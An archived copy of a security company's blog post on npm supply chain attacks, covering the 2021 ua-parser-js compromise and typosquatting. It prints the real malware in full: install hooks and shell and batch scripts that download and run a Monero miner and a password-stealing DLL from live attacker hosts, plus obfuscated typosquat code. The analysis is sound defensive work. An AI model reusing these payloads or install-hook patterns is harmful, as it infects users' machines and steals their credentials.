A place to cache linked articles (think custom and personal wayback machine)
Vous ne pouvez pas sélectionner plus de 25 sujets Les noms de sujets doivent commencer par une lettre ou un nombre, peuvent contenir des tirets ('-') et peuvent comporter jusqu'à 35 caractères.

index.html 65KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785
  1. <!doctype html><!-- This is a valid HTML5 document. -->
  2. <!-- Screen readers, SEO, extensions and so on. -->
  3. <html lang="fr">
  4. <!-- Has to be within the first 1024 bytes, hence before the `title` element
  5. See: https://www.w3.org/TR/2012/CR-html5-20121217/document-metadata.html#charset -->
  6. <meta charset="utf-8">
  7. <!-- Why no `X-UA-Compatible` meta: https://stackoverflow.com/a/6771584 -->
  8. <!-- The viewport meta is quite crowded and we are responsible for that.
  9. See: https://codepen.io/tigt/post/meta-viewport-for-2015 -->
  10. <meta name="viewport" content="width=device-width,initial-scale=1">
  11. <!-- Required to make a valid HTML5 document. -->
  12. <title>What’s Really Going On Inside Your node_modules Folder? (archive) — David Larlet</title>
  13. <meta name="description" content="Publication mise en cache pour en conserver une trace.">
  14. <!-- That good ol' feed, subscribe :). -->
  15. <link rel="alternate" type="application/atom+xml" title="Feed" href="/david/log/">
  16. <!-- Generated from https://realfavicongenerator.net/ such a mess. -->
  17. <link rel="apple-touch-icon" sizes="180x180" href="/static/david/icons2/apple-touch-icon.png">
  18. <link rel="icon" type="image/png" sizes="32x32" href="/static/david/icons2/favicon-32x32.png">
  19. <link rel="icon" type="image/png" sizes="16x16" href="/static/david/icons2/favicon-16x16.png">
  20. <link rel="manifest" href="/static/david/icons2/site.webmanifest">
  21. <link rel="mask-icon" href="/static/david/icons2/safari-pinned-tab.svg" color="#07486c">
  22. <link rel="shortcut icon" href="/static/david/icons2/favicon.ico">
  23. <meta name="msapplication-TileColor" content="#f7f7f7">
  24. <meta name="msapplication-config" content="/static/david/icons2/browserconfig.xml">
  25. <meta name="theme-color" content="#f7f7f7" media="(prefers-color-scheme: light)">
  26. <meta name="theme-color" content="#272727" media="(prefers-color-scheme: dark)">
  27. <!-- Documented, feel free to shoot an email. -->
  28. <link rel="stylesheet" href="/static/david/css/style_2021-01-20.css">
  29. <!-- See https://www.zachleat.com/web/comprehensive-webfonts/ for the trade-off. -->
  30. <link rel="preload" href="/static/david/css/fonts/triplicate_t4_poly_regular.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: light), (prefers-color-scheme: no-preference)" crossorigin>
  31. <link rel="preload" href="/static/david/css/fonts/triplicate_t4_poly_bold.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: light), (prefers-color-scheme: no-preference)" crossorigin>
  32. <link rel="preload" href="/static/david/css/fonts/triplicate_t4_poly_italic.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: light), (prefers-color-scheme: no-preference)" crossorigin>
  33. <link rel="preload" href="/static/david/css/fonts/triplicate_t3_regular.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: dark)" crossorigin>
  34. <link rel="preload" href="/static/david/css/fonts/triplicate_t3_bold.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: dark)" crossorigin>
  35. <link rel="preload" href="/static/david/css/fonts/triplicate_t3_italic.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: dark)" crossorigin>
  36. <script>
  37. function toggleTheme(themeName) {
  38. document.documentElement.classList.toggle(
  39. 'forced-dark',
  40. themeName === 'dark'
  41. )
  42. document.documentElement.classList.toggle(
  43. 'forced-light',
  44. themeName === 'light'
  45. )
  46. }
  47. const selectedTheme = localStorage.getItem('theme')
  48. if (selectedTheme !== 'undefined') {
  49. toggleTheme(selectedTheme)
  50. }
  51. </script>
  52. <meta name="robots" content="noindex, nofollow">
  53. <meta content="origin-when-cross-origin" name="referrer">
  54. <!-- Canonical URL for SEO purposes -->
  55. <link rel="canonical" href="https://socket.dev/blog/inside-node-modules">
  56. <body class="remarkdown h1-underline h2-underline h3-underline em-underscore hr-center ul-star pre-tick" data-instant-intensity="viewport-all">
  57. <article>
  58. <header>
  59. <h1>What’s Really Going On Inside Your node_modules Folder?</h1>
  60. </header>
  61. <nav>
  62. <p class="center">
  63. <a href="/david/" title="Aller à l’accueil"><svg class="icon icon-home">
  64. <use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-home"></use>
  65. </svg> Accueil</a> •
  66. <a href="https://socket.dev/blog/inside-node-modules" title="Lien vers le contenu original">Source originale</a>
  67. </p>
  68. </nav>
  69. <hr>
  70. <h2>Let me tell you a story...</h2>
  71. <p>On January 13, 2012, over ten year ago, a developer named Faisal Salman
  72. published a new project to GitHub called <code>ua-parser-js</code> and it parsed user agent
  73. strings. Lots of people found this project useful. Over the next 10 years,
  74. Faisal continued to develop the package along with help from many open source
  75. contributors. It eventually grew to 7 million downloads per week and was used by
  76. nearly 3 million GitHub repositories.</p>
  77. <h2>Now, let me tell you a different story...</h2>
  78. <p>On October 5th, 2021 on a notorious Russian hacking forum, this post appeared:</p>
  79. <pre><code class="hljs language-md">I sell a development account on npmjs.com, more than 7 million installations
  80. every week, more than 1000 others are dependent on this.
  81. There is no 2FA on the account. Login and password access. The password is
  82. enough to change your email.
  83. Suitable for distributing installations, miners, creating a botnet
  84. Start $10k
  85. Step $1k
  86. Blitz $20k
  87. </code></pre>
  88. <p>This hacker was offering to sell the password to an npm account that controlled a package with over 7 million weekly downloads. His asking price was $20,000 USD for the password.</p>
  89. <h2>This is where the two stories intersect</h2>
  90. <p>Two weeks later, on Friday, October 22, 2021 at 12:15pm GMT, <code>ua-parser-js</code> was compromised. Three malicious versions were published – <code>0.7.29</code>, <code>0.8.0</code>, and <code>1.0.0</code> – which contained malware. The malware was particularly nasty and it caught everyone by surprise.</p>
  91. <h2>Anatomy of a supply chain attack</h2>
  92. <p>Let's take a look at what that malware does. This is the <code>package.json</code> file for one of the
  93. compromised versions:</p>
  94. <h3><code>package.json</code></h3>
  95. <pre><code class="hljs language-json">{
  96. <span class="hljs-attr">"title"</span>: <span class="hljs-string">"UAParser.js"</span>,
  97. <span class="hljs-attr">"name"</span>: <span class="hljs-string">"ua-parser-js"</span>,
  98. <span class="hljs-attr">"version"</span>: <span class="hljs-string">"0.7.29"</span>,
  99. <span class="hljs-attr">"author"</span>: <span class="hljs-string">"Faisal Salman &lt;<a href="https://socket.dev/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="13755375727a60727f7e727d3d707c7e">[email protected]</a>&gt; (http://faisalman.com)"</span>,
  100. <span class="hljs-attr">"description"</span>: <span class="hljs-string">"Lightweight JavaScript-based user-agent string parser"</span>,
  101. <span class="hljs-attr">"main"</span>: <span class="hljs-string">"src/ua-parser.js"</span>,
  102. <span class="hljs-attr">"scripts"</span>: {
  103. <span class="hljs-attr">"preinstall"</span>: <span class="hljs-string">"start /B node preinstall.js &amp; node preinstall.js"</span>,
  104. <span class="hljs-attr">"build"</span>: <span class="hljs-string">"uglifyjs src/ua-parser.js ..."</span>,
  105. <span class="hljs-attr">"test"</span>: <span class="hljs-string">"jshint src/ua-parser.js &amp;&amp; mocha -R nyan test/test.js"</span>,
  106. <span class="hljs-attr">"test-ci"</span>: <span class="hljs-string">"jshint src/ua-parser.js &amp;&amp; mocha -R spec test/test.js"</span>
  107. }
  108. }
  109. </code></pre>
  110. <p>You'll see that it uses a pre-install script, so this means that the command <code>start /B node preinstall.js &amp; node preinstall.js</code> will run automatically anytime this package is installed.</p>
  111. <p>Let's take a look at the <code>preinstall.js</code> script:</p>
  112. <h3><code>preinstall.js</code></h3>
  113. <pre><code class="hljs language-js"><span class="hljs-keyword">const</span> { exec } = <span class="hljs-built_in">require</span>(<span class="hljs-string">'child_process'</span>)
  114. <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">terminalLinux</span>(<span class="hljs-params"></span>) </span>{
  115. exec(<span class="hljs-string">'/bin/bash preinstall.sh'</span>, <span class="hljs-function">(<span class="hljs-params">error, stdout, stderr</span>) =&gt;</span> {
  116. <span class="hljs-keyword">if</span> (error) {
  117. <span class="hljs-built_in">console</span>.log(<span class="hljs-string">`error: <span class="hljs-subst">${error.message}</span>`</span>)
  118. <span class="hljs-keyword">return</span>
  119. }
  120. <span class="hljs-keyword">if</span> (stderr) {
  121. <span class="hljs-built_in">console</span>.log(<span class="hljs-string">`stderr: <span class="hljs-subst">${stderr}</span>`</span>)
  122. <span class="hljs-keyword">return</span>
  123. }
  124. <span class="hljs-built_in">console</span>.log(<span class="hljs-string">`stdout: <span class="hljs-subst">${stdout}</span>`</span>)
  125. })
  126. }
  127. <span class="hljs-keyword">var</span> opsys = process.platform
  128. <span class="hljs-keyword">if</span> (opsys == <span class="hljs-string">'darwin'</span>) {
  129. opsys = <span class="hljs-string">'MacOS'</span>
  130. } <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> (opsys == <span class="hljs-string">'win32'</span> || opsys == <span class="hljs-string">'win64'</span>) {
  131. opsys = <span class="hljs-string">'Windows'</span>
  132. <span class="hljs-keyword">const</span> { spawn } = <span class="hljs-built_in">require</span>(<span class="hljs-string">'child_process'</span>)
  133. <span class="hljs-keyword">const</span> bat = spawn(<span class="hljs-string">'cmd.exe'</span>, [<span class="hljs-string">'/c'</span>, <span class="hljs-string">'preinstall.bat'</span>])
  134. } <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> (opsys == <span class="hljs-string">'linux'</span>) {
  135. opsys = <span class="hljs-string">'Linux'</span>
  136. terminalLinux()
  137. }
  138. </code></pre>
  139. <p>The first thing you'll see is that it runs a different payload depending on the victim's operating system. On Linux, the malware executes <code>preinstall.sh</code>, while on Windoews it executes <code>preinstall.bat</code>. Mac users got lucky – there was no Mac payload. Perhaps the attacker ran out of time to finish the Mac version, or didn't have a Mac to test on?</p>
  140. <p>Now let's take a look at what <code>preinstall.sh</code> does:</p>
  141. <h3><code>preinstall.sh</code></h3>
  142. <pre><code class="hljs language-sh">IP=$(curl -k https://freegeoip.app/xml/ | grep <span class="hljs-string">'RU\|UA\|BY\|KZ'</span>)
  143. <span class="hljs-keyword">if</span> [ -z <span class="hljs-string">"<span class="hljs-variable">$IP</span>"</span> ]
  144. <span class="hljs-keyword">then</span>
  145. var=$(pgrep jsextension)
  146. <span class="hljs-keyword">if</span> [ -z <span class="hljs-string">"<span class="hljs-variable">$var</span>"</span> ]
  147. <span class="hljs-keyword">then</span>
  148. curl http://159.148.186.228/download/jsextension -o jsextension
  149. <span class="hljs-keyword">if</span> [ ! -f jsextension ]
  150. <span class="hljs-keyword">then</span>
  151. wget http://159.148.186.228/download/jsextension -O jsextension
  152. <span class="hljs-keyword">fi</span>
  153. chmod +x jsextension
  154. ./jsextension -k --tls --rig-id q -o pool.minexmr.com:443 -u &lt;redacted&gt; \
  155. --cpu-max-threads-hint=50 --donate-level=1 --background &amp;&gt;/dev/null &amp;
  156. <span class="hljs-keyword">fi</span>
  157. <span class="hljs-keyword">fi</span>
  158. </code></pre>
  159. <p>The very first line fetches the victim's country code using their IP address. If the victim is from Russia, Ukraine, Belarus, or Kazakhstan, then the malware exits early. Presumably the attacker comes from one of these countries and doesn't want to antagonize their local law enforcement. This is a common technique in malware.</p>
  160. <p>Next, there's a check using <code>pgrep</code> to see if the malware – a process named <code>jsextension</code> – is already running. If so, then the malware exits early.</p>
  161. <p>Otherwise, the script proceeds to download a file from an IP address, mark that file as executable, and then run it. Based on these command line flags, the program appears to be a Monero miner. This program will mine the Monero cryptocurrency for the attacker, wasting the victim's CPU cycles and potentially driving up their electricity or cloud hosting bill.</p>
  162. <p>The payload for Windows users is quite similar, with one extra twist:</p>
  163. <h3><code>preinstall.bat</code></h3>
  164. <pre><code class="hljs language-bat">@<span class="hljs-built_in">echo</span> off
  165. curl http://<span class="hljs-number">159</span>.<span class="hljs-number">148</span>.<span class="hljs-number">186</span>.<span class="hljs-number">228</span>/download/jsextension.exe -o jsextension.exe
  166. <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> <span class="hljs-keyword">exist</span> jsextension.exe (
  167. wget http://<span class="hljs-number">159</span>.<span class="hljs-number">148</span>.<span class="hljs-number">186</span>.<span class="hljs-number">228</span>/download/jsextension.exe -O jsextension.exe
  168. )
  169. <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> <span class="hljs-keyword">exist</span> jsextension.exe (
  170. certutil.exe -urlcache -f http://<span class="hljs-number">159</span>.<span class="hljs-number">148</span>.<span class="hljs-number">186</span>.<span class="hljs-number">228</span>/download/jsextension.exe jsextension.exe
  171. )
  172. curl https://citationsherbe.<span class="hljs-built_in">at</span>/sdd.dll -o create.dll
  173. <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> <span class="hljs-keyword">exist</span> create.dll (
  174. wget https://citationsherbe.<span class="hljs-built_in">at</span>/sdd.dll -O create.dll
  175. )
  176. <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> <span class="hljs-keyword">exist</span> create.dll (
  177. certutil.exe -urlcache -f https://citationsherbe.<span class="hljs-built_in">at</span>/sdd.dll create.dll
  178. )
  179. <span class="hljs-built_in">set</span> exe_1=jsextension.exe
  180. <span class="hljs-built_in">set</span> "count_1=<span class="hljs-number">0</span>"
  181. &gt;tasklist.temp (
  182. tasklist /NH /FI "IMAGENAME eq <span class="hljs-variable">%exe_1%</span>"
  183. )
  184. <span class="hljs-keyword">for</span> /f <span class="hljs-variable">%%x</span> <span class="hljs-keyword">in</span> (tasklist.temp) <span class="hljs-keyword">do</span> (
  185. <span class="hljs-keyword">if</span> "<span class="hljs-variable">%%x</span>" <span class="hljs-keyword">EQU</span> "<span class="hljs-variable">%exe_1%</span>" <span class="hljs-built_in">set</span> /a count_1+=<span class="hljs-number">1</span>
  186. )
  187. <span class="hljs-keyword">if</span> <span class="hljs-variable">%count_1%</span> <span class="hljs-keyword">EQU</span> <span class="hljs-number">0</span> (<span class="hljs-built_in">start</span> /B .\jsextension.exe -k --tls --rig-id q -o pool.minexmr.com:<span class="hljs-number">443</span> -u &lt;redacted&gt; \
  188. --cpu-max-threads-hint=<span class="hljs-number">50</span> --donate-level=<span class="hljs-number">1</span> --background &amp; regsvr32.exe -s create.dll)
  189. <span class="hljs-built_in">del</span> tasklist.temp
  190. </code></pre>
  191. <p>On Windows, the malware not only downloads a Monero miner (<code>jsextension.exe</code>), but it downloads a .DLL file as well.</p>
  192. <p>After starting the Monero miner, the malware registers the .DLL file by running <code>regsvr32.exe -s create.dll</code>. This .DLL file steals passwords from over 100 different programs on the Windows machine as well as all the passwords in the Windows credential manager.</p>
  193. <p>Yikes!</p>
  194. <div class="css-1f97hpy"><div class="css-f3ylvk"><aside class="chakra-heading css-1vbay5q"><p>This DLL file steals passwords from over 100 different programs on the Windows
  195. machine as well as all the passwords in the Windows credential manager</p></aside></div></div>
  196. <p>This is a really nasty piece of malware. Anyone unlucky enough to run this lost all their passwords and had to do a complete reset of their online accounts – not a fun time!</p>
  197. <h2>Aftermath</h2>
  198. <p>The malicious package was available for about four hours. The open source
  199. community, as well as the maintainer, did quite well at finding and reporting
  200. the problem to npm who were able to remove it. Despite things going quite well
  201. by historical standards – 4 hours is a very quick turnaround time – tens of
  202. thousands of malicious downloads still took place. Even a few minutes is a lot a
  203. package gets 7 million weekly downloads!</p>
  204. <p>Anyone who ran <code>npm install ua-parser-js</code> was compromised. Anyone who installed
  205. a package that depended on <code>ua-parser-js</code> was also compromised, including
  206. important packages such as <code>react-native</code>. Anyone running <code>npm install</code> without
  207. a <code>package-lock.json</code> file was compromised. Anyone unlucky enough to update to a
  208. new version of <code>ua-parser-js</code>, whether manually with <code>npm update</code> or through an
  209. automated pull request such as from Dependabot, was compromised.</p>
  210. <h2>Just the tip of the iceberg</h2>
  211. <p>This is really just the tip of the iceberg. At <a class="chakra-link css-f4h6uy" href="https://socket.dev/">Socket</a>, we've been tracking packages that are <a class="chakra-link css-f4h6uy" href="https://socket.dev/npm/category/removed">removed from npm for security reasons</a>. We've seen over 700 packages removed for security reasons in the last 30 days, and this trend is accelerating.</p>
  212. <p>Attackers are taking advantage of the open ecosystem and the implicit trust that maintainers have for each other through the liberal contribution policies that have become common in the modern open source era.</p>
  213. <p>We predict that 2022 will be the "year of software supply chain security" as the
  214. awareness of this issue has exploded due to several massive software supply
  215. chain attacks such as SolarWinds as well as near weekly npm attacks in the news.
  216. It feels like we've reached a breaking point and developers, companies, and
  217. governments finally seem ready to take action to protect the open source
  218. ecosystem.</p>
  219. <p>One question you might ask, though, is...</p>
  220. <h2>Why is this happening now?</h2>
  221. <p>I want to start by just pointing out that what we're trying to do here is kind of crazy. We want to:</p>
  222. <ul>
  223. <li>Download <strong>code</strong></li>
  224. <li>from the <strong>internet</strong></li>
  225. <li>written by <strong>unknown individuals</strong></li>
  226. <li>that we <strong>haven't read</strong></li>
  227. <li>that we <strong>execute</strong></li>
  228. <li>with <strong>full permissions</strong></li>
  229. <li>on our <strong>laptops and servers</strong></li>
  230. <li>where we keep our <strong>most important data</strong></li>
  231. </ul>
  232. <p>This is what we're doing every day when we use <code>npm install</code>. It's a <em>miracle</em> that this system works – and that it's continued to <em>mostly</em> work for this long!</p>
  233. <p>It's a testament to the fact that most people are good. But, unfortunately, not
  234. everyone is is good. And even more unfortunately, even just a small handful of bad actors in the ecosystem can cause massive supply chain attacks that shake our trust in open source code.</p>
  235. <p>Now let's let's dive into why this is happening now.</p>
  236. <h2>1. 90% of the lines of code in your app comes from open source</h2>
  237. <p>We're standing on the shoulders of giants. Open source is the reason we can get
  238. an app off the ground in hours and days instead of weeks or months. It's the
  239. reason that we don't need to be an expert in cryptography or timezones or
  240. network protocols to build a powerful, modern software application.</p>
  241. <p>It's also the reason why your <code>node_modules</code> folder is one of the heaviest
  242. objects in the universe.</p>
  243. <h2>2. Lots of transitive dependencies</h2>
  244. <p>Another reason is that we have lots and lots of transitive dependencies. The way
  245. that we write software has changed. We use dependencies a lot more liberally.
  246. Installing even a single dependency often leads to many dozens or hundreds of
  247. transitive dependencies coming in as well.</p>
  248. <p>A 2019 paper at USENIX, found that installing an average npm package introduces an implicit trust on 79 third-party packages and 39 maintainers.</p>
  249. <div class="css-1f97hpy"><div class="css-f3ylvk"><aside class="chakra-heading css-1vbay5q"><p>Installing an average npm package introduces an implicit trust on 79
  250. third-party packages and 39 maintainers, creating a surprisingly large attack
  251. surface</p></aside><p class="css-1ydr9i">– Markus Zimmermann, Cristian-Alexandru Staicu, Cam Tenny, Michael Pradel ("Small World with High Risks: A Study of Security Threats in the npm Ecosystem")</p></div></div>
  252. <p>Here's another way to look at. We created a visualization to show you what the dependency tree of a typical package looks like. Let's look at <code>webpack</code>, which is a dependency present in many JavaScript projects.</p>
  253. <p>Each gray box represents a package and each purple box represents a file inside a package:</p>
  254. <h3>Webpack, unpacked</h3>
  255. <p><em>The visualization above is interactive. Drag to rotate. Click to navigate to a package or file.</em></p>
  256. <p>As you take away each layer of the dependency tree you'll see that you just keep finding more packages nested inside the top-level package, until you eventually get down to the bottom of the tree.</p>
  257. <p>There are an insane number of files and a lot of packages flying around here.</p>
  258. <h2>3. No one reads the code</h2>
  259. <p>Another reason is that no one really reads the code. Of course, there are some people who do, but by-and-large, people don't look at the code that they're executing on their machines.</p>
  260. <p>One big reason for this is that npm really doesn't make this very easy. If you go to the package page for <code>ua-parser-js</code> and you click on the "Explore" tab, you'll see that you can't even see the files of the package:</p>
  261. <p>So, people have to resort to clicking the GitHub link in the sidebar and going to GitHub and <strong><em>hoping</em></strong> that the code on GitHub matches the code that's on npm, which is not necessarily true. In fact, many of the biggest npm supply chain attacks have taken advantage of this fact.</p>
  262. <p>The lack of people looking at the code inside of npm packages is also a big reason why, on average, npm malware lingers on the registry for 209 days before it's finally reported and removed.</p>
  263. <div class="css-1f97hpy"><div class="css-f3ylvk"><aside class="chakra-heading css-1vbay5q"><p>On average, a malicious package is available for 209 days before being
  264. publicly reported</p></aside><p class="css-1ydr9i">– Marc Ohm, Henrik Plate, Arnold Sykosch, Michael Meier ("Backstabber's Knife Collection: A Review of Open Source Software Supply Chain Attacks")</p></div></div>
  265. <p>When I first read this statistic, I found it hard to believe, but it's been confirmed by further research.</p>
  266. <p>A 2021 paper at NDSS, a prestigious security conference, also found similar results. Even worse, they found that 20% of malware persist in package managers for over 400 days and have more than 1,000 downloads.</p>
  267. <div class="css-1f97hpy"><div class="css-f3ylvk"><p class="css-1ydr9i">– Ruian Duan, Omar Alrawi, Ranjita Pai Kasturi, Ryan Elder, Brendan Saltaformaggio, Wenke Lee</p></div></div>
  268. <p>It's disturbing to realize that npm is filled with landmines that can be set off inadvertently if we make a small typo in one of the many <code>npm install</code> commands we run on a daily basis.</p>
  269. <h2>4. Popular tools give a false sense of security</h2>
  270. <p>And the fourth reason is that popular tools give a false sense of security. A
  271. lot of popular tools – such as Dependabot and Snyk – scan your dependencies for
  272. known vulnerabilities (CVEs). In 2022, this is no longer sufficient. We can't
  273. just scan for known vulnerabilities and stop there. And yet that's what the most
  274. popular supply chain security products do, leaving you vulnerable.</p>
  275. <p>It can take weeks or months for a vulnerability to be discovered, reported, and detected by tools. That's just not fast enough to stop supply chain attacks.</p>
  276. <h3>Known vulnerabilities vs. Malware</h3>
  277. <p>Let's take a second to quickly distinguish between <strong>known vulnerabilities</strong> and
  278. <strong>malware</strong>, because they're very different.</p>
  279. <p><strong>Vulnerabilities</strong> are accidentally introduced by maintainers – the good guys. They
  280. have varying levels of risk and sometimes it's okay to intentionally ship a
  281. known vulnerability to production if it's low impact. Even if you have
  282. vulnerabilities in production they may not be discovered or exploited before you
  283. update to a fixed version. You usually have a bit of time to address these kinds
  284. of issues.</p>
  285. <p><strong>Malware</strong>, on the other hand, is quite different. Malware is intentionally
  286. introduced into a package by an attacker – almost never the maintainer – and it
  287. will always end badly if you ship malware to production. You don't have a few
  288. days or weeks to mitigate the issue. You need to really catch it before you
  289. install it on your laptop or a production server.</p>
  290. <p>But in today's culture of fast development, a malicious dependency can be
  291. updated and merged in a very short amount of time, which leads to an increased risk of supply chain
  292. attacks because the quicker you update your dependencies the fewer eyeballs that
  293. have had a chance to look at the code.</p>
  294. <p>Developers need a new approach to detect and to block malicious dependencies.
  295. But before we get into that, let's look a little deeper into how a supply chain
  296. attack actually works.</p>
  297. <h2>How does a supply chain attack actually work?</h2>
  298. <p>To answer this question, we downloaded every package on npm – 100 GB of metadata and 15 TB of package tarballs. We noticed a few trends in the types of attacks on npm.</p>
  299. <p>Let's go over the top 6 attack vectors (how the attack gets you to run their code) and attack techniques (what the attack code actually does).</p>
  300. <h2>1. Typosquatting</h2>
  301. <p>The most common attack vector is typosquatting.</p>
  302. <p>Typosquatting is when an attacker publishes a package which has a very similar name to a legitimate and popular package.</p>
  303. <p>Take these two packages with very similar names, for instance:</p>
  304. <pre><code class="hljs language-sh">npm install noblox.js-proxied
  305. npm install noblox.js-proxy
  306. </code></pre>
  307. <p>One of these is legitimate and one of these is malware. But which is which? And what if you can't remember and so you just take a guess?</p>
  308. <p>Hopefully you guessed right:</p>
  309. <pre><code class="hljs language-sh">npm install noblox.js-proxied (REAL)
  310. npm install noblox.js-proxy (EVIL)
  311. </code></pre>
  312. <p>Let's crack open the malware package <code>noblox.js-proxy</code> and take a look at it's <code>package.json</code>:</p>
  313. <h3><code>package.json</code></h3>
  314. <pre><code class="hljs language-js">{
  315. <span class="hljs-string">"name"</span>: <span class="hljs-string">"noblox.js-proxy"</span>,
  316. <span class="hljs-string">"version"</span>: <span class="hljs-string">"1.0.5"</span>,
  317. <span class="hljs-string">"description"</span>: <span class="hljs-string">"A Node.js wrapper for Roblox. (original from sentanos) (proxy edition by DarkDev)"</span>,
  318. <span class="hljs-string">"main"</span>: <span class="hljs-string">"lib/index.js"</span>,
  319. <span class="hljs-string">"types"</span>: <span class="hljs-string">"typings/index.d.ts"</span>,
  320. <span class="hljs-string">"scripts"</span>: {
  321. <span class="hljs-string">"docs"</span>: <span class="hljs-string">"jsdoc -c jsDocsConfig.json -r -t ./node_modules/better-docs"</span>,
  322. <span class="hljs-string">"lint"</span>: <span class="hljs-string">"eslint lib/"</span>,
  323. <span class="hljs-string">"test"</span>: <span class="hljs-string">"jest"</span>,
  324. <span class="hljs-string">"postinstall"</span>: <span class="hljs-string">"node postinstall.js"</span>
  325. },
  326. <span class="hljs-string">"repository"</span>: {
  327. <span class="hljs-string">"type"</span>: <span class="hljs-string">"git"</span>,
  328. <span class="hljs-string">"url"</span>: <span class="hljs-string">"https://github.com/JxySerr1/noblox.js-proxy.git"</span>
  329. }
  330. }
  331. </code></pre>
  332. <p>Again, you'll notice that it's using an install script – a very common technique that malware uses. If you open up this install script to look at the code, you'll find that the file is heavily
  333. obfuscated:</p>
  334. <pre><code class="hljs language-js">(<span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params">_0x249d1f,_0x2b8f5b</span>)</span>{<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_0x4c7bcc</span>(<span class="hljs-params">_0xab39a4,_0x4f1570,_0x2f32bf,
  335. _0x4d98f7,_0x52a9ec</span>)</span>{<span class="hljs-keyword">return</span> _0x1efa(_0x52a9ec-<span class="hljs-number">0x379</span>,_0x4d98f7);}<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_0xfe08c3</span>
  336. (<span class="hljs-params">_0x3d9d3c,_0x4ae939,_0x217de2,_0x4278ef,_0x1a1bd1</span>)</span>{<span class="hljs-keyword">return</span> _0x1efa(_0x3d9d3c- -<span class="hljs-number">0x30</span>,
  337. _0x217de2);}<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_0x5dee13</span>(<span class="hljs-params">_0x3bf95a,_0x410ef5,_0x6d0f61,_0x402705,_0x3daba2</span>)
  338. </span>{<span class="hljs-keyword">return</span> _0x1efa(_0x410ef5- -<span class="hljs-number">0x6c</span>,_0x3daba2);}<span class="hljs-keyword">const</span> _0x40a390=_0x249d1f();
  339. <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_0x4ebfb2</span>(<span class="hljs-params">_0x39433b,_0x180281,_0x29e008,_0x55bd13,_0x265536</span>)
  340. </span>{<span class="hljs-keyword">return</span> _0x1efa(_0x180281-<span class="hljs-number">0x29c</span>,_0x29e008);}<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_0x1d9570</span>(<span class="hljs-params">_0xcf31ba,_0x24a2a8,
  341. _0x1361be,_0x2b2b01,_0x2b71bd</span>)
  342. </span>{<span class="hljs-keyword">return</span> _0x1efa(_0xcf31ba-<span class="hljs-number">0x357</span>,_0x24a2a8);}<span class="hljs-keyword">while</span>(!![]){<span class="hljs-keyword">try</span>{<span class="hljs-keyword">const</span> _0xe15807=
  343. -<span class="hljs-built_in">parseInt</span>(_0x4ebfb2(<span class="hljs-number">0x718</span>,<span class="hljs-number">0x638</span>,<span class="hljs-string">'12Eh'</span>,<span class="hljs-number">0x6f0</span>,<span class="hljs-number">0x6f6</span>))/(<span class="hljs-number">0x1e27</span>+-<span class="hljs-number">0x2ac</span>+-<span class="hljs-number">0x1b7a</span>)
  344. +<span class="hljs-built_in">parseInt</span>(_0x4c7bcc(<span class="hljs-number">0x6d5</span>,<span class="hljs-number">0x713</span>,<span class="hljs-number">0x72c</span>,<span class="hljs-string">'JXxJ'</span>,<span class="hljs-number">0x644</span>))/(<span class="hljs-number">0x15</span>*-<span class="hljs-number">0x16e</span>+-<span class="hljs-number">0x19c4</span>+<span class="hljs-number">0x37cc</span>)
  345. +-<span class="hljs-built_in">parseInt</span>(_0x4c7bcc(<span class="hljs-number">0x68d</span>,<span class="hljs-number">0x788</span>,<span class="hljs-number">0x86c</span>,<span class="hljs-string">'JJ[O'</span>,<span class="hljs-number">0x754</span>))/(-<span class="hljs-number">0x89e</span>+<span class="hljs-number">0x2</span>*-<span class="hljs-number">0x928</span>+-<span class="hljs-number">0xb</span>*-<span class="hljs-number">0x273</span>)
  346. *(-<span class="hljs-built_in">parseInt</span>(_0x4ebfb2(<span class="hljs-number">0x64f</span>,<span class="hljs-number">0x62a</span>,<span class="hljs-string">'$53b'</span>,<span class="hljs-number">0x530</span>,<span class="hljs-number">0x55f</span>))/(-<span class="hljs-number">0x2525</span>+<span class="hljs-number">0x7c0</span>+-<span class="hljs-number">0x1</span>*-<span class="hljs-number">0x1d69</span>))
